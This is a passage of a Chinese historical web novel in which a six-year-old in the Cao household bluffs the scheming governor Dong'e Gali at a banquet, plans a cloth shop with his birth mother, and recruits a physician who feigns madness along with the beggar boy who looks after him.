“打虎亲兄弟,上阵父子兵,那董鄂大人嘴上说着是给您设宴赔不是,实际上谁都知道他没安好心,这宴会您既不好拒绝,不如带个帮手也好。” 六岁的帮手? 曹颙低头看向曹桑实,下意识想要拒绝。 谁知曹桑实却跃跃欲试,满口答应下来。 “好呀!好呀!三哥,正好我不想念书,你就带我去吧!” “那董鄂·噶礼未免太不要脸了点,这是欺负我们曹家没人了?我得叫他看看我的厉害!” 曹颙毫不犹豫一口拒绝,他可不会纵着曹桑实胡闹的。 可他到底是低估了曹桑实,曹桑实别的本事没有,死缠烂打的本事却是一等一的。 “三哥,你为何不愿带我去?是嫌我带不出去吗?” “如今我也是东府的儿子,你凭什么不带我出去露露脸?” “你,你……要是不带我去,我就把那董鄂·噶礼欺负你这事儿告诉祖母,你也不想祖母跟着担心你吧?” 18. 第 18 章 这都是什么和什么? 曹颙上有兄长,下有弟弟,偌大的东西两府,好像还真没谁像曹桑实这样的。 他眼瞅着曹桑实大有一副“你若不答应我我就撒泼打滚”的架势,皱眉道:“六弟,带你出门倒也无妨,只是总督府不比寻常地方,从前父亲在董鄂·噶礼跟前都未曾放肆过,你去了总督府,千万不要胡闹,知道了吗?” 曹桑实头点的宛如小鸡啄米一样:“三哥,你就放心吧。” 曹颙又交代了许多,到了最后只察觉曹桑实身后似少了个随从。 外院与内宅不一样,在外头行走,身边哪里跟着丫鬟婆子? 只是他的随从平安是曹寅为他千中选一挑出来的,从小跟在他身边长大,至于说如何选人,他还真不清楚,只喊了管事刘忠过来,吩咐多物色几个人出来。 董鄂·噶礼的宴会设在三日后。 在这三日时间里,曹桑实对这人有了更全面的了解。 当然,曹颙整日忙的是脚不沾地,曹桑实对董鄂·噶礼的了解皆来自于孙老夫人。 孙老夫人自是赞成曹桑实多出去见识见识的,将自己的知道的一股脑都说给了他听。 “董鄂·噶礼乃何和礼的四世孙,这何和礼当年是个人物,骁勇善战,为栋鄂部的部长,后来得太祖皇帝赏识,娶了太祖皇帝长女。” “若真说起来,他和皇上还是沾亲带故呢。” “在江南,我们曹家地位虽不低,但如今你父亲已经故去,抵不上从前,这些官员只怕会以董鄂·噶礼为尊,像漕运总督赫寿,他不仅是漕运总督,还坐衔兵部左侍郎,他们两人关系很好。” “但江南提督师懿德虽官衔及不上他们两人,但从前私下与你父亲有些来往,这人性子刚正,从前你父亲总对他赞不绝口。” 曹桑实这脑瓜子除了念书不行,别的方面都很好使。 到了赴宴这一日,他已弄清楚江南的高官有哪些,不管怎么算,这董鄂·噶礼都是第一梯队的,也难怪从前曹寅在世时也对这人客客气气。 两江总督府距曹家并不远,这日一大早曹桑实就跟在曹颙身后高高兴兴上了马车。 马车上,曹颙再次叮嘱道:“六弟,外头不比家里,你在家里犯了错,顶多挨几句训斥。” “但在外头,若犯了错,兴许还会丢了性命。” “到了总督府,你定要慎言慎行,若是那董鄂·噶礼说了我什么,你就当作没听见好了,千万不要与他起冲突,知道了吗?” 曹桑实没接话。 他先前虽知道三哥肩上担子重,却没想到三哥日子难熬成这样子。 他忍不住嘟囔道:“我知道,那臭咖喱就是嫉妒父亲,先前皇上几次南巡没住在总督府,反倒是住在曹家,他觉得丢了面子呢!” “可这等事,哪里是曹家能够左右的?他凭什么怀恨在心?有本事去找皇上理论呀!” “偏偏从前父亲在世时,他与父亲称兄道弟,如今父亲没了,将气都撒在你身上?” 比他年长十几岁的曹颙何尝不知道这董鄂·噶礼不是个东西?但形势逼的曹颙不得不低头,如今难得板着脸道:“桑实,我的话你到底记下了吗?” “记下了。”马车晃晃悠悠的,曹桑实还是第一次见曹颙脸色严肃成这样子,生怕将他气出个三长两短来,“三哥,你别生气啦,为了那臭咖喱生气可划不来。” 曹颙脸色这才好看几分。 但曹桑实却忍不住想,他只是说记下了他三哥的叮嘱,可没说一定能做到。 马车很快稳稳停在了总督府。 总督府虽比不得曹家华贵,但曹桑实他们的马车刚行至巷口就慢了下来,可想而知今日董鄂·噶礼宴请了多少人,名义上说是要给曹颙赔不是,实则……却想要狠狠踩两脚。 曹颙纵然从小跟在曹寅身边长大,见过许多大场面,但他们父子皆是坦荡清明之人,哪里敌得过董鄂·噶礼? 更别提曹颙如今也就二十出头的年纪,更不是董鄂·噶礼的对手。 他明知董鄂·噶礼设下的是鸿门宴,如今站在总督府门口,难免生出几分怯意来。 谁知他正愣神呢,曹桑实就已屁颠屁颠跑了进去,还忍不住回头道:“三哥,你倒是快点呀!” 呵呵。 有仇必报的曹桑实已迫不及待了呢! 曹颙只得跟了上去。 很快就有管事迎了出来,前去正厅的路上,曹桑实得知漕运总督赫寿今日也已到场,明摆着也是过来给董鄂·噶礼撑嗓子兼顺带踩曹颙两脚的。 刚到正厅,曹桑实就听到了一中年男子爽朗的说话声。 “……从今以后你我二人就是亲家呢,关系是更上一层楼。” “只是不知道这事儿叫曹颙贤侄知道,他会不会怪我们。” 说话间,曹颙就带着曹桑实走了进去。 曹颙只是五品织造郎中,免不得一一与众上峰打招呼。 跟在他身后的曹桑实就像是只机灵的小肥猫似的看看这个,看看那个,最后将目光放在了一身形肥胖,面容和蔼的人身上,这人应该就是董鄂·噶礼。 至于董鄂·噶礼身边那个中等身材,肤色黝黑的中年男人,应该就是漕运总督赫寿。 等着曹颙寒暄完毕,董鄂·噶礼则一把搂住曹颙的肩膀,一副慈爱长辈的样子:“你来的正好,方才我正与大家说起已将蓉儿许配给赫总督幼子的消息。” “贤侄,你不会怪我吧?” 这哪里是设宴给曹颙赔不是?简直是当众又狠狠给曹颙脸上来了几巴掌,还是打完左脸打右脸,左右开弓的那种! 曹桑实的拳头忍不住硬了。 这等场面,自曹寅去世后,曹颙已碰上过几次,如今面上是宠辱不惊,含笑道:“您说笑了!” 董鄂·噶礼似是猜到他会这样说,又拍拍他的肩道:“贤侄啊,我也是有苦衷的,蓉儿身子不好,我退了你们之间的亲事,却听说赫总督的幼子八字极好,利亲利己,这才不得已定下他们之间的亲事。” “他们将于今年九月成亲,你一定要来喝杯喜酒啊!” “其实我也知道这亲事定的未免着急了些,可蓉儿从前等你等了那么多年,也是快二十岁的老姑娘呢,再也等不得……” 曹桑实瞪大了眼睛。 还真是人外有人山外有山呀,原来这世上还真有人比常二夫人还不要脸!说的 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皇上何时问起过他的亲事? 众人是鸦雀无声,你看看我我看看你,一直看着颇为高冷的赫寿眼中更是露出惊慌之色来。 曹桑实惴惴不安道:“三哥,这些话……是不是不能说啊?” 若不是曹颙了解他,简直都要被他骗了过去。 人人都觉得小孩子不会撒谎,长得好看的小孩子在众人跟前更是有着格外的优待,也难怪赫寿等人深信不疑。 曹颙解释的话都到了嘴边,却还是道:“桑实,慎言。” 说着,他看向董鄂·噶礼道:“董鄂大人,赫大人,小孩子不懂事,他说的话,你们莫要放在心上。” 董鄂·噶礼与赫寿交换了个眼神,眼里都有恐惧——难道,皇上……竟对曹颙这样好? 董鄂·噶礼自官至两江总督,就一直被曹寅压着,原想着如今终于可以扬眉吐气,没想到又遇上这茬事。 他很快寻了个由头将曹颙兄弟两人带到书房,忍不住追问道:“贤侄呀,我一直把你当成亲生儿子一样看待,有什么话难道连我不能说?” “皇上到底还说了些什么?” 这叫曹颙什么说? 皇上根本就没说什么呀! 曹颙的支吾落在董鄂·噶礼眼里则成了不愿多言,把他急的哟,恨不得与赫寿一起将曹颙的嘴撬开。 还是赫寿聪明些,看向一旁正坐在太师椅上吃糕点的曹桑实道:“你就是曹家六郎?我听说如今你已过继到东亭名下?” 正专心吃糕点的曹桑实漫不经心点点头。 赫寿又道:“那伯父再要人给你端两碟糕点,你将元宵节那日太监说的话都告诉伯父好不好?” 曹桑实一副犹豫不决的样子,下意识看向曹颙。 曹颙皱眉摇头,生怕他不知分寸,越说越离谱,毕竟这两人能官至一品,可不是什么蠢货! 董鄂·噶礼却适时挡在了他跟前,扬声笑道:“有什么话直说就是!” “从前你父亲在世时,可是与我们像异姓兄弟一般呢!” 19. 第 19 章 无奸不商。 曹桑实从他前世那暴发户老爹的身上学到了很多,能敲就敲,能诈就诈。 如今对上董鄂·噶礼这头肥羊,曹桑实自是不愿放过,只是可惜,他年纪太小,有些话不好说,只能低声道:“那日皇上派下来的魏公公说在皇上心里,三哥就像是皇上的儿子一样,以后若三哥遇上什么事,只管写信告诉皇上。” “皇上还说,就算父亲去世,但要三哥莫要伤心过度,早日开枝散叶,这样父亲泉下有知,也会高兴的……” 董鄂·噶礼再与赫寿对视一眼,两人皆是脸色沉沉。 身为朝中一品大员,皇上的性子,他们多少也是知道些的。 因皇上子嗣颇丰,也一贯喜欢催促自己身边亲近的大臣多生几个孩子的。 今日董鄂·噶礼原是想耀武扬威,狠狠踩上故去的曹寅一脚,如今听说这消息,心情自然是从云端跌到泥里。 午饭吃过,众宾客就已散去。 曹颙正欲携着曹桑实离去时,一向眼高于顶的董鄂·噶礼如当初对曹寅一样,亲自送了曹颙出门,话里话外皆是解释之意,直说他退亲是逼不得已,更说女儿董鄂·思蓉年纪大了,实在托不得。 曹颙好似又见到当年父亲在世时的董鄂·噶礼,但这次他也学聪明了,直说请他不必担心,而不是他会在给皇上的请按折子中言明此事。 一直等着上了马车,他的脸色这才沉了下来:“六弟,你可知为何董鄂·噶礼与赫寿两只老狐狸未经验证,就信了你的话?” “是因假传圣意,可是欺君之罪!是要掉脑袋的!” “那三哥,你觉得他们敢去打听这件事吗?敢去问皇上吗?”曹桑实见他摇摇头,又道,“皇上是天子,是九五至尊,却也与咱们一样,是凡体肉身,有血有肉。” “我猜,以皇上的性子,若他知晓父亲刚故去,这些人就欺负到你头上,就会知道我今日这话是逼不得已。” 顿了顿,他又道:“况且我觉得今日我这话也不算是假传圣旨,皇上心里定然是这般想的。” 见他如此巧言擅辩,曹颙都气笑了。 “你如何知道的?” “你还未见过皇上呢。” 曹桑实却义正言辞道:“我就是知道,要不皇上为何会等着父亲去世半年后才派人送来赏赐?就是想告诉所有人,他还记得曹家,记得你!” “连我都听说皇上与父亲关系很好,若皇上知道故人之子被欺负成这样子,只会心疼和生气的!” “三哥,你说是不是?” 曹颙笑了笑,点头称是。 皇上六次南巡,其中四次住在曹家不说,每一次他都会随着父亲前去面圣,甚至他这名字都是皇上改的。 他最后一次见到皇上时,皇上还问起他最近读什么书,可以拉开几石弓,还说若他有机会去京城与那些年纪相仿的皇阿哥比试一二,看看谁更厉害些…… 想到这些,他心头如春风拂过,舒服了不少:“没想到你小小年纪,竟能如此通透,好像你才是兄长一般。” “今日之事便罢了,不过你到了祖母跟前莫要提起……” “三哥,我知道的。”曹桑实点点头,笑道,“免得祖母担心嘛!” 可这事没几日却还是传到了孙老夫人耳朵里去了。 并非曹桑实或曹颙多嘴,而是董鄂·噶礼没几日就带着夫人上门给孙老夫人请安呢。 孙老夫人是何等聪明之人,听他三言两语就大概猜到到底是怎么一回事,自是顺着他的话继续往下说,几句话说的是连敲带打,吓得董鄂·噶礼回去之后一宿没睡着。 紧接着,漕运总督赫寿也登门了。 赫寿不比董鄂·噶礼世家出身,他是初由笔贴式入仕,由给事中官至一品大员,可见他是个聪明人。 赫寿是独自前往,并没有粉饰太平之意,一开口就诚心道歉,直道:“……老夫人应该知道当日曹颙与董鄂格格订下亲事乃董鄂·噶礼一厢情愿,如今他那女儿与我幼子的亲事也是如出一辙,我实在不好推脱。” “我深知皇上与老夫人情谊深厚,若来日皇上误会,还请老夫人帮着解释几句。” “昨日,我已与董鄂·噶礼言明,要退了这门亲事。” 孙老夫人一贯慈爱的面上虽扬着笑,但那笑意并未触及到眼底:“你也不必着急与董鄂·噶礼划清界限,我虽对他印象不太好,但也是由些本事的,不过是眼皮子太浅了点。” “是,是。”赫寿整个人只坐了太师椅的一半,一副小心谨慎的模样,“您说的极是。” 他虽为漕运总督,但大多数时候都是京城,对江宁之事并不清楚。 那日宴会散去后,他快马加鞭送信去京城打听一番,这才知道如今替孙老夫人治病的秦院判可是一直负责皇上脉案的太医。 这说明什么?说明皇上是真的把孙老夫人当成一家人呀! 一想到这里,他恨不得把董鄂·噶礼骂得狗血喷头,董鄂·噶礼在江宁这么久,竟连这点小事都打听不出来,一时间他的态度是愈发恭敬:“世侄年纪轻轻就已入仕,且得皇上看重,以后前途定不可限量。” “这样的青年才俊,还愁娶不到贤妻吗?” “我有个外甥女模样性子皆十分出挑,今年刚及笄,不如过些日子带过来给您看看?” 孙老夫人却道:“不必了,颙儿还要守孝两年半,就不耽误你那侄女。” 赫寿又寒暄了好一会,一直等着孙老夫人面露疲色,这才起身告辞。 曹桑实原以为孙老夫人会训上自己几句,即便不为他知情不报一事,也该为他当日出言不逊,毕竟他的确是借着皇上的势狐假虎威。 谁知孙老夫人提起这事儿却并未说什么,曹桑实悬着的心这才放了下来。 殊不知,孙老夫人私下却对他赞不绝口,直说曹颙的性子在官场行走难免会吃亏,就曹桑实这样子,小时候都这般,长大了定是左右逢源,见人说人话见鬼说鬼话。 江南官场上,人人都是人精,他们 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一大早,曹桑实就穿上了姜姨娘给他做的新衣裳,朝铜山镇驶去。 马车一开始还比较平稳,走出江宁就开始摇摇晃晃,简直比陈先生授课还要催眠,他索性睡了一觉。 等他耳畔传来车夫说话声时,已经到了。 他一睁眼,就看到了姜姨娘。 “姨娘!” 不过月余的时间,姜姨娘胖了些,气色也好了些。 只是她刚要开口,眼泪就簌簌落了下来。 “姨娘,您别哭呀!”曹桑实握住她的手,从马车上一跃而下,笑道,“咱们母子见面,是喜事。” 说着,他更是咧嘴笑道:“我昨晚上也是高兴的半宿没睡着,所以方才在马车上做了个梦,梦见了我们母子相见。” “没想到一睁眼,果然看见了您。” 母子两人还是第一次分别这样久,有说不完的话。 曹桑实是报喜不报忧,直说自己跟在先生身边念书,绝口不提书念的怎么样,他又说曹颙待他像亲弟弟一半,也压根不说曹颙如今的处境不大好……反正说到最后,姜姨娘是眉眼含笑。 到了姜姨娘这儿,日子则单调了许多,每日不是做刺绣就是种花就是种菜。 用她的话说:“……身边有人伺候,想吃什么吃什么想要什么有什么,就是这日子太无聊了些。” 这日子是她从前梦都梦不到的好日子,但正因太无聊,便常常胡思乱想,担心曹桑实过得不好。 日有所思,夜有所梦,夜里更是噩梦不断。 曹桑实正牵着姜姨娘的手在田庄闲逛,直笑道:“姨娘,今日我过来正好也打算与您说这件事。” “您想要赚钱吗?” “想要给自己找点事情做吗?” “桑实,你,你这话是什么意思?”姜姨娘一愣,迟疑道,“你可是又有什么主意?” 20. 第 20 章 没错。 曹桑实打算做生意。 士农工商,从古至今,商人身份都是低贱的,甚至商户家中无有功名在身的读书人,连门槛都要矮些。 但银子,谁又能不喜欢? 各织造府生产的布料虽供皇室和宫廷使用,不得对外公开售卖,但朝廷可从未说过织造郎中的家眷不能做生意啊! 近水楼台先得月,他身为江宁织造郎中的亲弟弟,闲来无事去看看匠人如何织布,取取经不过分吧?这织造府有淘汰下来的旧织机,他以二手价买来不过分吧? 曹桑实私以为是一点不过分! 那么问题来了,布料上花卉图案怎么办? 皇室和宫廷所用的布料上花纹多是龙、凤、麒麟、仙鹤等物,纹路繁琐,做工精细,价格昂贵不说,寻常百姓根本也不敢用! 他便想到了姜姨娘,如今认真解释道:“姨娘,想来家中的亏空您多少也有所听说,其亏空数额巨大,您怕是难以想象。” “从前父亲在世,就算天塌下来也有他顶着,但如今……三哥的日子并不好过。” “所以我想着为三哥分担一二,但我今年只有六岁,实在没人能帮我,所以就想到了您。” “我自然是愿意的。”姜姨娘一口答应下来,就算不为曹家和曹颙,也该为了自己儿子,“只是,我能做什么了?” 曹桑实道:“您能做的事情多了去了。” “比如,设计花样子,从小到大我衣裳的袖口里都被您绣了一颗小桑葚,多可爱呀!” “比如,您在铜山镇帮着打听打听,看有没有擅长做绣活儿的妇人女子。” “又比如,这铺子开在哪儿,要置办些什么东西,要请几个人……都是要操心的。” 其实最后铺子的位置和请人事宜,只要孙老夫人一句话吩咐下去,自有管事刘忠办的妥妥贴贴,但他还是想给姜姨娘多找点事情忙。 人若太闲了,不免有些无聊。 姜姨娘点头称是。 母子两人是越说越来劲儿,已商榷好铺子的定位。 虽说布庄投资不大,但谁的银子都不是大水冲来的,做生意嘛,得讲究一步一个脚印,踏踏实实的,不可贪大。 所以这铺子一开始只卖些寻常可见的布料,顺带卖些帕子,香囊等绣工精美的小玩意儿。 用曹桑实的话来说:“若一开始叫祖母拿出千八百两银子出来试试水,祖母自不会将这点小钱放在眼里的,得叫祖母看到收益,看到市场,才愿意继续往里头投钱的。” “做生意的门道深得很,边做生意边学习,像苏州的金胜记,京城瑞蚨祥开在江宁的分店,富盛绸缎庄生意都很好,甚至还有专卖绒布、绸缎的绒庄一条街,锦绣街,颜料坊,想要在这些铺子中挣银子并不简单。” 姜姨娘原本心里是有几分惴惴不安的,但见他连颜料坊都知道,便知他是做足了功课的,便笑道:“你放心,我定不会扯你后腿的。” 听姜姨娘细细说来,曹桑实这才知道原来姜姨娘家中是在颜料坊开铺子的。 颜料坊并不是某一间铺子的名字,而是这一带有很多布行。 因染布需要大量颜料,这里靠近秦淮河,水质清澈适合染色漂洗,所以渐渐形成了规模。 曹桑实瞪大了眼睛,好奇道:“姨娘,既然您家里是开铺子的,那定是小有家产,为何……” 他可是几次听张乳母偷偷说起,说当年姜姨娘是曹荃花了五十两银子买回来的。 五十两银子对商户来说虽不算小数目,却也不算巨款吧。 姜姨娘却是苦笑道:“我生母早逝,有了后娘就有了后爹,更不必提那后娘进门又生了几个儿子,那腰杆子是更硬了。” “她见我生得好看,便想将我以五十两银子的高价卖给便宜坊的一老鳏夫。” “我从小是逆来顺受的性子,但那日听说那老鳏夫已年过五十,还缺了颗门牙后,不知哪里来的勇气,撒丫子就跑,这才撞见了老爷……” 她说的是“老爷”,而非“你父亲”,因为在她心里,曹荃与她那软弱无能的爹一样,根本不配当人父亲。 她见曹桑实大大的眼睛里露出心疼来,笑道:“否极泰来,如今我有了你,从前受过的那些苦难都是值得的。” “我之所以与你说这些,可不是想叫你伤心难过的,而是告诉你,我从小耳濡目染,多少也知道些做生意的门道。” “老夫人……从前虽明面上未曾照拂过我们母子两人,但若没有她老人家,我们母子两人不知死了多少回,更别说她老人家如今对你极好,我也想为曹家出几分力的。” 曹桑实笑道:“那我回去就将您这话转告祖母,祖母时常说,只有一家人齐心协力,这日子才能越过越好。” 他这次前来铜山镇还要找谢大夫,不便在庄子上多做停留。 却因开设布庄一事,他们母子两人分别时姜姨娘面上并无多少伤感之色,而是满脑子想的如何将那铺子做大做强。 曹桑实上了马车,约莫一刻半钟的时间就到了铜山镇上。 铜山镇自比不上江宁富庶,但街上行人往来不绝,铺子众多,想来也是一富庶之地。 穿过集镇,马车越走,便越是荒凉,又过了一刻钟时间,马车就在一小茅屋门口停了下来。 曹桑实下车,却压根没看到谢大夫的影子。 此处依山傍水,因正值春日,天空湛蓝,桃花灼灼,垂柳依依,但这小茅屋却不免有些煞风景,仿佛一阵狂风吹来,茅屋就能倒下似的。 倒是小茅屋前的两座坟冢一看就是精心打理过的,干净整洁,墓碑前还放了一束小花。 谢大夫会是疯子吗? 曹桑实可不相信。 哪个疯子还会将自己娘亲和妻子的坟冢收拾的这样干净?只怕是装疯卖傻吧! 他正欲走近去看看那墓碑上写的是什么字时,谁知刚走没两步,就冲出一个影子来。 “哎呦!” 毫无准备的曹桑实被撞了个满怀,忍不住叫了一声:“你是谁?” 待他看清这人后,发现这人约莫是个七八岁的小乞儿。 这小乞儿头发凌乱,浑身上下脏兮兮的,但眼神凌厉,看向曹桑实的眼神里仿佛能射出刀子来,厉声道:“你是谁?” “你来做什么?” “你是不是谢家的人?快滚开!” 谢家的人? 曹桑实从他的三言两语中猜到谢家人定没少找谢大夫麻烦,露出一个和善的笑容来 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名叫小狗的小乞儿龇牙咧嘴的,扬了扬手上的石头,嚷嚷道:“笑什么笑!有什么好笑的?你要是再笑,我就把你的脑袋砸出个窟窿来!” 曹桑实嘴上虽没再笑,但眼里却是挡不住的笑意。 他的眼神很快落在谢大夫身上。 谢大夫那衣着打扮没比小乞儿强到哪里去,凌乱的发型,脏兮兮的衣裳……猛的一看,两人像父子似的。 谢大夫胡言乱语道:“哈哈,小狗要打你!” “哈哈,小狗要把你脑袋打开花!” 说着,他指着小狗道:“快,小狗,快咬他,把他也变成小狗!” “这样,我就有两个小狗呢!” 话音落下,他见驾车的车夫一副准备过来解围帮忙的架势,又指了指那车夫道:“快,小狗,还有他,你先咬他,这样我就有三个小狗给我看门!” 曹桑实:“???” 你才小狗!你全家都是小狗! 偏偏那小乞儿还颇为配合的冲那车夫龇了龇牙。 曹桑实;搁着演情景剧呢! 他索性开门见山道:“谢大夫,您是在装疯卖傻吧?我并非谢家人,今日登门并无恶意,您能否好好与我说话?” 谢大夫却像没听见似的,口口声声嚷嚷着要小乞儿咬人。 倒是那小乞儿见曹桑实与车夫并没有伤害他们的意思,直道:“谢叔是真的疯了,我跟在他身边快一年呢,我还能不知道他是不是装疯吗?” 曹桑实笑了笑,眼神落在不远处谢大夫采摘的草药上。 “小狗哥,若我没有猜错的话,这一年时间里谢大夫都是靠摘草药养活你们两个吧?” “他若真的疯了,哪里还分得出草药和杂草?” 说话间,他又看向谢大夫,含笑道:“谢大夫,想必这段时间谢家人没少来找你麻烦吧?” “我都打听过了,您有个侄儿今年要参加春闱,若能高中,就要入朝为官,谢家肯定不愿他有个疯子叔叔的。” “我是很有诚意的,不知道能不能与您好好谈一谈?” 21. 第 21 章 做生意也好,还是有求于人也好。 曹桑实都不打无准备的仗。 在出发之前,他派人打听过谢家之事,知道谢家有子侄即将参加春闱不说,也知道谢大夫的父亲尚在人世,且在谢家有一定话语权。 身为父亲,就算痛恨儿子不成器,大概也是舍不得对儿子痛下杀手的。 若他是谢家人,会派人毁了谢大夫母亲与妻子的坟冢,抢了她们的棺木同谢大夫做交易。 比如,若谢大夫愿意远走他乡,谢家不仅愿意归还棺木,还愿意奉上银子! 曹桑实见谢大夫脸色微沉,却没有接话的意思,又道:“我还打听到当年您之所以纵情风月,行事张狂,是因为您母亲骤然去世,其死因多有蹊跷。” “我猜您将您亡母与亡妻葬在铜山镇,即便多次受到谢家刁难,却也没有离开铜山镇的打算,想来也想查清您亡母之死的真相……” 他每多说一句,谢大夫脸色就难看一分。 以至于到了最后,谢大夫是脸色沉沉,呵斥道:“够了,你给我进来!” 他哪里还有方才装疯卖傻的影子? 小乞儿惊呆了。 他跟在谢大夫身边快一年,都没发现什么端倪,这人看起来傻不啦叽的的,怎么一眼就看出谢大夫在装疯卖傻? 那他与谢大夫这一年的相处时间到底算什么? 若曹桑实知道他心里的想法,定会笑嘻嘻说上一句;当然是算你傻呀! 他很快随着谢大夫走进那摇摇欲坠的破茅屋。 他对上谢大夫那双锐利的眼睛,依旧是笑眯眯的。 谢大夫从小便是天之骄子,阅人无数,如今面上敛去疯癫之色,竟生出几分凌厉来。 “你是谁?” “你从哪里来?” “你到底找我做什么?” 曹桑实正色道:“谢伯父,想必就算您避在铜山镇,应该也听说您的师弟秦院判已来江宁替我祖母治病一事。” “秦院判的确是医术过人,在他的细心医治下,我祖母的病已好的七七八八。” “但曹家患病的人不止我祖母一人,区区一个曹家,自留不住秦院判,所以他在我跟前提起了您……” “哼!他从小就是如此擅钻营!”谢大夫冷哼一声,没好气道,“他不愿留在江宁,更不愿得罪曹家,所以就把我给卖了?他有没有问过我愿不愿意?” 他是越说越生气,扬声道:“呸,他以为这些年每年像打发叫花子似的差人送点银子和东西来,我就要对他感恩戴德?真是打得一手好算盘!” 他与秦院判的关系的确是和秦院判说的一样,一提起秦院判这个人就满肚子牢骚。 从他的描述中,曹桑实知道了很多事。 比如,谢大夫名叫谢则清,从小是谢家的骄傲。 比如,谢大夫这辈子最不喜欢的人除了他爹就是秦院判,据说秦院判打小就懂得权衡利弊,很擅长讨他们师傅欢心。 又比如,谢大夫纵然施针的本事比秦院判强上些许,但这么多年未替人诊治,秦院判束手无策的病症,只怕他没多少信心。 …… 一直等谢大夫絮叨了好一会,直至口干舌燥,这才停了下来。 他已装疯卖傻多年,都忘了有多久没好好和人说过话呢。 曹桑实适时递上一杯茶水,道:“谢大夫,事在人为,成与不成,总得试一试才知道啊!” “况且小狗哥这样护着您,想来应该也是您见他得病,大发善心,所以捡回他一条命吧?” “你这小娃娃,年纪不大,怎么什么都知道?”谢大夫忍不住嘀咕起来,他看着眼前这好看的小娃娃,却道,“你来的正好,反正你们曹家富庶,不如就将小狗带回去吧,他跟着我也是受苦。” 说着,他生怕曹桑实不得应似的,又道:“一年前我在路上救了他,替他捡回一条命,他是怎么赶都赶不走,口口声声说要照顾我,报答我的救命之恩。” “这孩子年纪不大,却是个心好的。” “即便你待他只有两三分真心,但他也会对你忠心耿耿的。” “曹家家大业大,总有他一口吃的喝的……” 曹桑实顿时只觉得眼前这人与秦院判说的差不多,孤傲、任性、认死理,但却是心不坏。 他沉吟片刻,抛出一个问题来。 “谢伯父,想必这一年的时间里是靠着你采摘草药,小狗哥卖草药为生,同时,小狗哥去镇上也能打听打听谢家的消息。” “若我带着小狗哥走了,你身边没个说话的人就算了,岂不是连谢家的消息都打听不到?” 谢大夫显然并未想到这一茬,愣了愣后恼羞成怒道:“我的事,不需要你一个小娃娃管。” 曹桑实“哦”了一声。 他见这位谢大夫的确比犟驴还要犟上几分,估摸着此时越是相劝,犟驴,哦,不,谢大夫定越是拿乔,索性就径直走出门去。 一直守在门口的小乞儿眼中已不复方才的凌厉与提防,反而看向曹桑实的眼神里带着崇拜。 曹桑实经过他身边时,停下了脚步:“小狗哥,你跟我走吧。” “走,走哪儿去?”小乞儿眼中闪现着单纯与迷茫,好一会才反应过来,“你……可是要我跟你去曹家?” “那,那谢大夫去吗?” “他要是不去,我也不去!” 这小乞儿虽蠢了点笨了点,却也是个好人呀! 曹桑实嘴角含笑,冲他勾了勾手指头,示意他靠近些。 小乞儿照做。 曹桑实在他耳边低语几句,他神色大变。 很快。 小乞儿就冲进屋,扬声道:“谢大夫,我走啦,我要跟着曹少爷回去享福啦!” 话还没说完,他挥挥手,转身就走:“您小心点,好好保护自己啊!” 谢大夫:“???” 他愣在原地好一会,直至曹桑实带着小乞儿的身影消失不见,这才反应过来。 这就走了? 他知道自己身边危险重重,谢家现在没对自己下狠手,不代表以后也不对自己下狠手,但……当初是谁说好在自己身边照顾自己一辈子的?竟被那曹家小子三言两语就糊弄走了? 他只觉心里有点难 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小乞儿却道:“那万一……谢大夫不肯去曹家了?” “不来就不来呗!”曹桑实云淡风轻道,“这天底下从来就不只一条路而已,若谢大夫不肯来,再想想别的办法就是呢。” 小乞儿又是长长叹了口气。 曹桑实正欲闭眼再睡会时,却又听到小乞儿再次开口道:“我,我去曹家做什么?” “我有手有脚,可不会吃白饭!” “实在不行,要我去洗恭桶也行,先前谢大夫的恭桶都是我洗的。” 曹桑实听到这话,心里是愈发笃定能请来谢大夫,谢大夫的恭桶都有人洗,想来如今再做这些事会愈发不习惯。 他看向小乞儿道:“你什么都愿意做?连洗恭桶都不怕?” “不怕!”小乞儿重重点点头,认真道,“我的恭桶洗的是又快又好,你们曹家的人虽然多了点,但我每天什么都不做,光洗恭桶,一天的时间应该够了吧?” 说着,他像想起什么似的,问道:“对了,你们曹家大概有多少人?” 曹桑实道:“不多,也就两三百人吧。” 小乞儿:“……” 那岂不是他一整日下来要洗两三百个恭桶? 他似乎看到两三百个恭桶朝自己压下来,要将他湮灭一样,顿时就笑不出来了。 曹桑实却觉得这人怪好玩的,单单蠢蠢的,叫人很安心:“好了,小狗哥,不逗你玩了!” “你可愿到我身边伺候?正好祖母他们想为我选个随从,看你这样子,应该比我大不了几岁,你可愿意?” 随从? 小乞儿眼里顿时亮闪闪的,认真道:“我,我行吗?” “我见过谢家那些主子身边的随从,一个个穿的衣裳不仅没有补丁,还穿的绸子衣裳呢!” “你要是不嫌弃我,我肯定是愿意的,不过……我不认识字也能行吗?” 曹桑实小胖手一挥,豪气万丈道:“没事,我也认识不了几个字。” 22. 第 22 章 曹桑实很快与小乞儿达成了共识。 他更是给小乞儿取了个响亮的名字——元宝。 用他的话说:“谁能不喜欢金元宝呢?我整日嘴上喊着‘元宝’,越喊越吉利,那金元宝定源源不断涌过来的,你说是不是?” 已改名为元宝的小乞儿重重点头:“这名字,我很喜欢,说起来……我长这么大还没见过金元宝呢!” “元宝,你放心好了。”曹桑实拍拍他的肩膀,正色道,“跟着我,总有一日会叫你有很多金元宝的。” 他并未将自己当成主子看,也未将元宝当成奴才看。 在他看来,他与元宝之间就像后世的上司与员工的关系,人文关怀是一方面,实际的利益又是另一方面。 当然啦,画大饼也是必不可少的。 等着曹桑实回到曹家,他换了身衣裳,第一件事就是给孙老夫人请安。 当孙老夫人听说今日之事后,忍不住颔首道:“……小事方能见人品,这位谢大夫能收留元宝,可见他是个心地良善的。” “元宝既能不离不弃陪在谢大夫身边一年,也能看出这孩子知恩图报,你既愿意,就将他留在你身边伺候吧。” “是。”曹桑实笑道,“多谢祖母。” 他还是很喜欢这位祖母的。 在他看来,祖母遇事是抓大放小,是个很有智慧的人。 很快,孙老夫人又问起了姜姨娘。 曹桑实道:“祖母放心,姨娘一切都好,我今日见到姨娘后,与姨娘商量着想开铺子做生意。” “我能不能找您借一千两银子?” 说着,他又忙道:“您放心,这一千两银子是借,不是要。” “即便这铺子亏了,以后我也想办法将钱还给您的。” 孙老夫人顿时被他逗笑了。 别说她老人家,就连孙嬷嬷都跟着笑了起来。 “不过区区一千两银子,一家人哪里还用得上‘借’这个字?” “老夫人呀,可不会将这一千两银子放在眼里的!” 孙老夫人是颇为欣慰道:“你小小年纪就有心为家中分担,这是好事,这一千两银子就当做我入股好了,若是你赚了钱,记得给我分红。” “若是亏了,就当作拿银子给你买个教训。” 说着,她老人家又道:“不过我得先将话说在前头,当下你还是得以学业为重,知道了吗?” 